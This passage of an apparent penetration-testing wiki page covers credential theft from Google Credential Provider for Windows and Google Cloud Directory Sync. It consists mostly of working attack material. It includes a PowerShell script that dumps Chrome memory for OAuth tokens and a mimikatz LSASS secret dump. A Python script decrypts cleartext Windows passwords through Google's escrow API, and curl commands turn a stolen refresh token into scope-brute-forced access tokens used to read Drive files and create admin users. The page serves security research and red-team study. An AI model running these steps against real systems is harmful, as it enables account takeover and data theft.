+ +Example out: + +{% code overflow="wrap" %} +``` +Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI +``` +{% endcode %} + +As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), if you don't find the token in the registry it's possible to modify the value (or delete) from **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** and the next time the user access the computer he will need to login again and the **token will be stored in the previous registry**. + +### GCPW - Disk Refresh Tokens + +The file **`%LocalAppData%\Google\Chrome\User Data\Local State`** stores the key to decrypt the **`refresh_tokens`** located inside the **Google Chrome profiles** of the user like: + +* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data` +* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data` + +It's possible to find some **C# code** accessing these tokens in their decrypted manner in [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe). + +Moreover, the encrypting can be found in this code: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216) + +It can be observed that AESGCM is used, the encrypted token starts with a **version** (**`v10`** at this time), then it [**has 12B of nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), and then it has the **cypher-text** with a final **mac of 16B**. + +### GCPW - Dumping tokens from processes memory + +The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!** + +
+ +Dump Chrome processes and search tokens + +```powershell +# Define paths for Procdump and Strings utilities +$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" +$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" +$dumpFolder = "C:\Users\Public\dumps" + +# Regular expressions for tokens +$tokenRegexes = @( + "ya29\.[a-zA-Z0-9_\.\-]{50,}", + "1//[a-zA-Z0-9_\.\-]{50,}" +) + +# Show EULA if it wasn't accepted yet for strings +$stringsPath + +# Create a directory for the dumps if it doesn't exist +if (!(Test-Path $dumpFolder)) { + New-Item -Path $dumpFolder -ItemType Directory +} + +# Get all Chrome process IDs +$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id + +# Dump each Chrome process +foreach ($processId in $chromeProcesses) { + Write-Output "Dumping process with PID: $processId" + & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" +} + +# Extract strings and search for tokens in each dump +Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { + $dumpFile = $_.FullName + $baseName = $_.BaseName + $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt" + $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt" + + Write-Output "Extracting strings from $dumpFile" + & $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile + & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile + + $outputFiles = @($asciiStringsFile, $unicodeStringsFile) + + foreach ($file in $outputFiles) { + foreach ($regex in $tokenRegexes) { + + $matches = Select-String -Path $file -Pattern $regex -AllMatches + + $uniqueMatches = @{} + + foreach ($matchInfo in $matches) { + foreach ($match in $matchInfo.Matches) { + $matchValue = $match.Value + if (-not $uniqueMatches.ContainsKey($matchValue)) { + $uniqueMatches[$matchValue] = @{ + LineNumber = $matchInfo.LineNumber + LineText = $matchInfo.Line.Trim() + FilePath = $matchInfo.Path + } + } + } + } + + foreach ($matchValue in $uniqueMatches.Keys) { + $info = $uniqueMatches[$matchValue] + Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" + } + } + + Write-Output "" + } +} + +Remove-Item -Path $dumpFolder -Recurse -Force +``` + +
+ +I tried the same with `gcpw_extension.exe` but it didn't find any token. + +For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess: + +
+ +Check access token by removing chars 1 by 1 + +```bash +#!/bin/bash + +# Define the initial access token +access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277" + +# Define the URL for the request +url="https://www.googleapis.com/oauth2/v1/tokeninfo" + +# Loop until the token is 20 characters or the response doesn't contain "error_description" +while [ ${#access_token} -gt 20 ]; do + # Make the request and capture the response + response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url) + + # Check if the response contains "error_description" + if [[ ! "$response" =~ "error_description" ]]; then + echo "Success: Token is valid" + echo "Final token: $access_token" + echo "Response: $response" + exit 0 + fi + + # Remove the last character from the token + access_token=${access_token:0:-1} + + echo "Token length: ${#access_token}" +done + +echo "Error: Token invalid or too short" +``` + +
+ +### GCPW - Recovering the clear text password + +To abuse GCPW to recover the clear text of the password it's possible to dump the encrypted password from **LSASS** using **mimikatz**: + +```bash +mimikatz_trunk\x64\mimikatz.exe token::elevate lsadump::secrets exit +``` + +Then search for the secret like `Chrome-GCPW-` like in the image: + +
+ +Then, with an **access token** with the scope `https://www.google.com/accounts/OAuthLogin` it's possible to request the private key to decrypt the password: + +
+ +Script to obtain the password in clear-text given the access token, encrypted password and resource id + +```python +import requests +from base64 import b64decode +from Crypto.Cipher import AES, PKCS1_OAEP +from Crypto.PublicKey import RSA + +def get_decryption_key(access_token, resource_id): + try: + # Request to get the private key + response = requests.get( + f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}", + headers={ + "Authorization": f"Bearer {access_token}" + } + ) + + # Check if the response is successful + if response.status_code == 200: + private_key = response.json()["base64PrivateKey"] + # Properly format the RSA private key + private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----" + return private_key + else: + raise ValueError(f"Failed to retrieve private key: {response.text}") + + except requests.RequestException as e: + print(f"Error occurred while requesting the private key: {e}") + return None + +def decrypt_password(access_token, lsa_secret): + try: + # Obtain the private key using the resource_id + resource_id = lsa_secret["resource_id"] + encrypted_data = b64decode(lsa_secret["encrypted_password"]) + + private_key_pem = get_decryption_key(access_token, resource_id) + print("Found private key:") + print(private_key_pem) + + if private_key_pem is None: + raise ValueError("Unable to retrieve the private key.") + + # Load the RSA private key + rsa_key = RSA.import_key(private_key_pem) + key_size = int(rsa_key.size_in_bits() / 8) + + # Decrypt the encrypted data + cipher_rsa = PKCS1_OAEP.new(rsa_key) + session_key = cipher_rsa.decrypt(encrypted_data[:key_size]) + + # Extract the session key and other data from decrypted payload + session_header = session_key[:32] + session_nonce = session_key[32:] + mac = encrypted_data[-16:] + + # Decrypt the AES GCM data + aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) + decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac) + + print("Decrypted Password:", decrypted_password.decode("utf-8")) + + except Exception as e: + print(f"Error occurred during decryption: {e}") + +# CHANGE THIS INPUT DATA! +access_token = "" +lsa_secret = { + "encrypted_password": "", + "resource_id": "" +} + +decrypt_password(access_token, lsa_secret) +``` + +
+ +It's possible to find the key components of this in the Chromium source code: + +* API domain: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code) +* API endpoint: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential\_provider/gaiacp/password\_recovery\_manager.cc#L70) + +### GCPW - Generating access tokens from refresh tokens + +Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command: + +```bash +curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ + --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ + --data "grant_type=refresh_token" \ + --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ + https://www.googleapis.com/oauth2/v4/token +``` + +### GCPW - Scopes + +{% hint style="info" %} +Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**. + +Alsoe, the refresh token is not valid in every application. +{% endhint %} + +By default GCPW won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`: + +
+ +Bash script to brute-force scopes + +```bash +curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do + echo -ne "Testing $scope \r" + if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ + --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ + --data "grant_type=refresh_token" \ + --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ + --data "scope=$scope" \ + https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then + echo "" + echo $scope + echo $scope >> /tmp/valid_scopes.txt + fi +done + +echo "" +echo "" +echo "Valid scopes:" +cat /tmp/valid_scopes.txt +rm /tmp/valid_scopes.txt +``` + +
+ +And this is the output I got at the time of the writing: + +``` +Valid scopes: +https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/calendar +https://www.googleapis.com/auth/calendar.events +https://www.googleapis.com/auth/calendar.events.readonly +https://www.googleapis.com/auth/calendar.readonly +https://www.googleapis.com/auth/classroom.courses.readonly +https://www.googleapis.com/auth/classroom.coursework.me.readonly +https://www.googleapis.com/auth/classroom.coursework.students.readonly +https://www.googleapis.com/auth/classroom.profile.emails +https://www.googleapis.com/auth/classroom.profile.photos +https://www.googleapis.com/auth/classroom.rosters.readonly +https://www.googleapis.com/auth/classroom.student-submissions.me.readonly +https://www.googleapis.com/auth/classroom.student-submissions.students.readonly +https://www.googleapis.com/auth/cloud-translation +https://www.googleapis.com/auth/cloud_search.query +https://www.googleapis.com/auth/devstorage.read_write +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/drive.apps.readonly +https://www.googleapis.com/auth/drive.file +https://www.googleapis.com/auth/drive.readonly +https://www.googleapis.com/auth/ediscovery +https://www.googleapis.com/auth/firebase.messaging +https://www.googleapis.com/auth/spreadsheets +https://www.googleapis.com/auth/tasks +https://www.googleapis.com/auth/tasks.readonly +https://www.googleapis.com/auth/userinfo.email +https://www.googleapis.com/auth/userinfo.profile +``` + +Moreover, checking the Chromium source code it's possible to [**find this file**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google\_apis/gaia/gaia\_constants.cc#L24), which contains **other scopes** that can be assumed that **doesn't appear in the previously brute-forced lis**t. Therefore, these extra scopes can be assumed: + +
+ +Extra scopes + +``` +https://www.google.com/accounts/OAuthLogin +https://www.googleapis.com/auth/account.capabilities +https://www.googleapis.com/auth/accounts.programmaticchallenge +https://www.googleapis.com/auth/accounts.reauth +https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/aida +https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged +https://www.googleapis.com/auth/android_checkin +https://www.googleapis.com/auth/any-api +https://www.googleapis.com/auth/assistant-sdk-prototype +https://www.googleapis.com/auth/auditrecording-pa +https://www.googleapis.com/auth/bce.secureconnect +https://www.googleapis.com/auth/calendar +https://www.googleapis.com/auth/calendar.events +https://www.googleapis.com/auth/calendar.events.readonly +https://www.googleapis.com/auth/calendar.readonly +https://www.googleapis.com/auth/cast.backdrop +https://www.googleapis.com/auth/cclog +https://www.googleapis.com/auth/chrome-model-execution +https://www.googleapis.com/auth/chrome-optimization-guide +https://www.googleapis.com/auth/chrome-safe-browsing +https://www.googleapis.com/auth/chromekanonymity +https://www.googleapis.com/auth/chromeosdevicemanagement +https://www.googleapis.com/auth/chromesync +https://www.googleapis.com/auth/chromewebstore.readonly +https://www.googleapis.com/auth/classroom.courses.readonly +https://www.googleapis.com/auth/classroom.coursework.me.readonly +https://www.googleapis.com/auth/classroom.coursework.students.readonly +https://www.googleapis.com/auth/classroom.profile.emails +https://www.googleapis.com/auth/classroom.profile.photos +https://www.googleapis.com/auth/classroom.rosters.readonly +https://www.googleapis.com/auth/classroom.student-submissions.me.readonly +https://www.googleapis.com/auth/classroom.student-submissions.students.readonly +https://www.googleapis.com/auth/cloud-translation +https://www.googleapis.com/auth/cloud_search.query +https://www.googleapis.com/auth/cryptauth +https://www.googleapis.com/auth/devstorage.read_write +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/drive.apps.readonly +https://www.googleapis.com/auth/drive.file +https://www.googleapis.com/auth/drive.readonly +https://www.googleapis.com/auth/ediscovery +https://www.googleapis.com/auth/experimentsandconfigs +https://www.googleapis.com/auth/firebase.messaging +https://www.googleapis.com/auth/gcm +https://www.googleapis.com/auth/googlenow +https://www.googleapis.com/auth/googletalk +https://www.googleapis.com/auth/identity.passwords.leak.check +https://www.googleapis.com/auth/ip-protection +https://www.googleapis.com/auth/kid.family.readonly +https://www.googleapis.com/auth/kid.management.privileged +https://www.googleapis.com/auth/kid.permission +https://www.googleapis.com/auth/kids.parentapproval +https://www.googleapis.com/auth/kids.supervision.setup.child +https://www.googleapis.com/auth/lens +https://www.googleapis.com/auth/music +https://www.googleapis.com/auth/nearbydevices-pa +https://www.googleapis.com/auth/nearbypresence-pa +https://www.googleapis.com/auth/nearbysharing-pa +https://www.googleapis.com/auth/peopleapi.readonly +https://www.googleapis.com/auth/peopleapi.readwrite +https://www.googleapis.com/auth/photos +https://www.googleapis.com/auth/photos.firstparty.readonly +https://www.googleapis.com/auth/photos.image.readonly +https://www.googleapis.com/auth/profile.language.read +https://www.googleapis.com/auth/secureidentity.action +https://www.googleapis.com/auth/spreadsheets +https://www.googleapis.com/auth/supportcontent +https://www.googleapis.com/auth/tachyon +https://www.googleapis.com/auth/tasks +https://www.googleapis.com/auth/tasks.readonly +https://www.googleapis.com/auth/userinfo.email +https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/wallet.chrome +``` + +
+ +Note that the most interesting one is possibly: + +```c +// OAuth2 scope for access to all Google APIs. +const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; +``` + +However, I tried to use this scope to access gmail or list groups and it didn't work, so I don't know how useful it still is. + +**Get an access token with all those scopes**: + +
+ +Bash script to generate access token from refresh_token with all the scopes + +```bash +export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/calendar +https://www.googleapis.com/auth/calendar.events +https://www.googleapis.com/auth/calendar.events.readonly +https://www.googleapis.com/auth/calendar.readonly +https://www.googleapis.com/auth/classroom.courses.readonly +https://www.googleapis.com/auth/classroom.coursework.me.readonly +https://www.googleapis.com/auth/classroom.coursework.students.readonly +https://www.googleapis.com/auth/classroom.profile.emails +https://www.googleapis.com/auth/classroom.profile.photos +https://www.googleapis.com/auth/classroom.rosters.readonly +https://www.googleapis.com/auth/classroom.student-submissions.me.readonly +https://www.googleapis.com/auth/classroom.student-submissions.students.readonly +https://www.googleapis.com/auth/cloud-translation +https://www.googleapis.com/auth/cloud_search.query +https://www.googleapis.com/auth/devstorage.read_write +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/drive.apps.readonly +https://www.googleapis.com/auth/drive.file +https://www.googleapis.com/auth/drive.readonly +https://www.googleapis.com/auth/ediscovery +https://www.googleapis.com/auth/firebase.messaging +https://www.googleapis.com/auth/spreadsheets +https://www.googleapis.com/auth/tasks +https://www.googleapis.com/auth/tasks.readonly +https://www.googleapis.com/auth/userinfo.email +https://www.googleapis.com/auth/userinfo.profile +https://www.google.com/accounts/OAuthLogin +https://www.googleapis.com/auth/account.capabilities +https://www.googleapis.com/auth/accounts.programmaticchallenge +https://www.googleapis.com/auth/accounts.reauth +https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/aida +https://www.googleapis.com/auth/kid.management.privileged +https://www.googleapis.com/auth/android_checkin +https://www.googleapis.com/auth/any-api +https://www.googleapis.com/auth/assistant-sdk-prototype +https://www.googleapis.com/auth/auditrecording-pa +https://www.googleapis.com/auth/bce.secureconnect +https://www.googleapis.com/auth/calendar +https://www.googleapis.com/auth/calendar.events +https://www.googleapis.com/auth/calendar.events.readonly +https://www.googleapis.com/auth/calendar.readonly +https://www.googleapis.com/auth/cast.backdrop +https://www.googleapis.com/auth/cclog +https://www.googleapis.com/auth/chrome-model-execution +https://www.googleapis.com/auth/chrome-optimization-guide +https://www.googleapis.com/auth/chrome-safe-browsing +https://www.googleapis.com/auth/chromekanonymity +https://www.googleapis.com/auth/chromeosdevicemanagement +https://www.googleapis.com/auth/chromesync +https://www.googleapis.com/auth/chromewebstore.readonly +https://www.googleapis.com/auth/classroom.courses.readonly +https://www.googleapis.com/auth/classroom.coursework.me.readonly +https://www.googleapis.com/auth/classroom.coursework.students.readonly +https://www.googleapis.com/auth/classroom.profile.emails +https://www.googleapis.com/auth/classroom.profile.photos +https://www.googleapis.com/auth/classroom.rosters.readonly +https://www.googleapis.com/auth/classroom.student-submissions.me.readonly +https://www.googleapis.com/auth/classroom.student-submissions.students.readonly +https://www.googleapis.com/auth/cloud-translation +https://www.googleapis.com/auth/cloud_search.query +https://www.googleapis.com/auth/cryptauth +https://www.googleapis.com/auth/devstorage.read_write +https://www.googleapis.com/auth/drive +https://www.googleapis.com/auth/drive.apps.readonly +https://www.googleapis.com/auth/drive.file +https://www.googleapis.com/auth/drive.readonly +https://www.googleapis.com/auth/ediscovery +https://www.googleapis.com/auth/experimentsandconfigs +https://www.googleapis.com/auth/firebase.messaging +https://www.googleapis.com/auth/gcm +https://www.googleapis.com/auth/googlenow +https://www.googleapis.com/auth/googletalk +https://www.googleapis.com/auth/identity.passwords.leak.check +https://www.googleapis.com/auth/ip-protection +https://www.googleapis.com/auth/kid.family.readonly +https://www.googleapis.com/auth/kid.management.privileged +https://www.googleapis.com/auth/kid.permission +https://www.googleapis.com/auth/kids.parentapproval +https://www.googleapis.com/auth/kids.supervision.setup.child +https://www.googleapis.com/auth/lens +https://www.googleapis.com/auth/music +https://www.googleapis.com/auth/nearbydevices-pa +https://www.googleapis.com/auth/nearbypresence-pa +https://www.googleapis.com/auth/nearbysharing-pa +https://www.googleapis.com/auth/peopleapi.readonly +https://www.googleapis.com/auth/peopleapi.readwrite +https://www.googleapis.com/auth/photos +https://www.googleapis.com/auth/photos.firstparty.readonly +https://www.googleapis.com/auth/photos.image.readonly +https://www.googleapis.com/auth/profile.language.read +https://www.googleapis.com/auth/secureidentity.action +https://www.googleapis.com/auth/spreadsheets +https://www.googleapis.com/auth/supportcontent +https://www.googleapis.com/auth/tachyon +https://www.googleapis.com/auth/tasks +https://www.googleapis.com/auth/tasks.readonly +https://www.googleapis.com/auth/userinfo.email +https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ') + +curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ + --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ + --data "grant_type=refresh_token" \ + --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ + --data "scope=$scope" \ + https://www.googleapis.com/oauth2/v4/token +``` + +
+ +Some examples using some of those scopes: + +
+ +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile + +```bash +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/oauth2/v2/userinfo" + +{ + "id": "100203736939176354570", + "email": "hacktricks@example.com", + "verified_email": true, + "name": "John Smith", + "given_name": "John", + "family_name": "Smith", + "picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c", + "locale": "en", + "hd": "example.com" +} +``` + +
+ +
+ +https://www.googleapis.com/auth/admin.directory.user + +```bash +# List users +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/admin/directory/v1/users?customer=&maxResults=100&orderBy=email" + +# Create user +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/json" \ + -d '{ + "primaryEmail": "newuser@hdomain.com", + "name": { + "givenName": "New", + "familyName": "User" + }, + "password": "UserPassword123", + "changePasswordAtNextLogin": true + }' \ + "https://www.googleapis.com/admin/directory/v1/users" +``` + +
+ +
+ +https://www.googleapis.com/auth/drive + +```bash +# List files +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name" +{ + "files": [ + { + "id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq", + "name": "Veeam new vendor form 1 2024.docx", + "modifiedTime": "2024-08-30T09:25:35.219Z" + } + ] +} + +# Download file +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/drive/v3/files/?alt=media" \ + -o "DownloadedFileName.ext" + +# Upload file +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/octet-stream" \ + --data-binary @path/to/file.ext \ + "https://www.googleapis.com/upload/drive/v3/files?uploadType=media" +``` + +
+ +
+ +https://www.googleapis.com/auth/devstorage.read_write + +```bash +# List buckets from a project +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/storage/v1/b?project=" + +# List objects in a bucket +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/storage/v1/b//o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name" + +# Upload file to bucket +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/octet-stream" \ + --data-binary @path/to/yourfile.ext \ + "https://www.googleapis.com/upload/storage/v1/b//o?uploadType=media&name=" + +# Download file from bucket +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media" \ + -o "DownloadedFileName.ext" +``` + +
+ +
+ +https://www.googleapis.com/auth/spreadsheets + +```bash +# List spreadsheets +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100" + +# Download as pdf +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \ + -o "Spreadsheet.pdf" + +# Create spreadsheet +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/json" \ + -d '{ + "properties": { + "title": "New Spreadsheet" + } + }' \ + "https://sheets.googleapis.com/v4/spreadsheets" + +# Read data from a spreadsheet +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A1:C10" + +# Update data in spreadsheet +curl -X PUT \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/json" \ + -d '{ + "range": "Sheet1!A2:C2", + "majorDimension": "ROWS", + "values": [ + ["Alice Johnson", "28", "alice.johnson@example.com"] + ] + }' \ + "https://sheets.googleapis.com/v4/spreadsheets//values/Sheet1!A2:C2?valueInputOption=USER_ENTERED" + +# Append data +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/json" \ + -d '{ + "values": [ + ["Bob Williams", "35", "bob.williams@example.com"] + ] + }' \ + "https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED" +``` + +
+ +
+ +https://www.googleapis.com/auth/ediscovery (Google Vault) + +**Google Workspace Vault** is an add-on for Google Workspace that provides tools for data retention, search, and export for your organization's data stored in Google Workspace services like Gmail, Drive, Chat, and more. + +* A **Matter** in Google Workspace Vault is a **container** that organizes and groups together all the information related to a specific case, investigation, or legal matter. It serves as the central hub for managing **Holds**, **Searches**, and **Exports** pertaining to that particular issue. +* A **Hold** in Google Workspace Vault is a **preservation action** applied to specific users or groups to **prevent the deletion or alteration** of their data within Google Workspace services. Holds ensure that relevant information remains intact and unmodified for the duration of a legal case or investigation. + +```bash +# List matters +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://vault.googleapis.com/v1/matters?pageSize=10" + +# Create matter +curl -X POST \ + -H "Authorization: Bearer $access_token" \ + -H "Content-Type: application/json" \ + -d '{ + "name": "Legal Case 2024", + "description": "Matter for the upcoming legal case involving XYZ Corp.", + "state": "OPEN" + }' \ + "https://vault.googleapis.com/v1/matters" + +# Get specific matter +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://vault.googleapis.com/v1/matters/" + +# List holds in a matter +curl -X GET \ + -H "Authorization: Bearer $access_token" \ + "https://vault.googleapis.com/v1/matters//holds?pageSize=10" +``` + +More [API endpoints in the docs](https://developers.google.com/vault/reference/rest). + +
+ +## GCDS - Google Cloud Directory Sync + +This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing). + +It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time. + +{% hint style="info" %} +To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`** +{% endhint %} + +{% hint style="success" %} +Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**. +{% endhint %} + +### GCDS - Disk Tokens & AD Credentials + +The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**. + +Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**. + +The most interesting information inside the file would be: + +```xml +[...] +OAUTH2 +rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA== + +https://www.google.com/m8/feeds/ +https://www.googleapis.com/auth/admin.directory.group +https://www.googleapis.com/auth/admin.directory.orgunit +https://www.googleapis.com/auth/admin.directory.resource.calendar +https://www.googleapis.com/auth/admin.directory.user +https://www.googleapis.com/auth/admin.directory.userschema +https://www.googleapis.com/auth/apps.groups.settings +https://www.googleapis.com/auth/apps.licensing +https://www.googleapis.com/auth/plus.me + +[...] +192.168.10.23 +389 +dc=hacktricks,dc=local +SIMPLE +DOMAIN\domain-admin +XMmsPMGxz7nkpChpC7h2ag== +[...] +``` + +Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64. + +
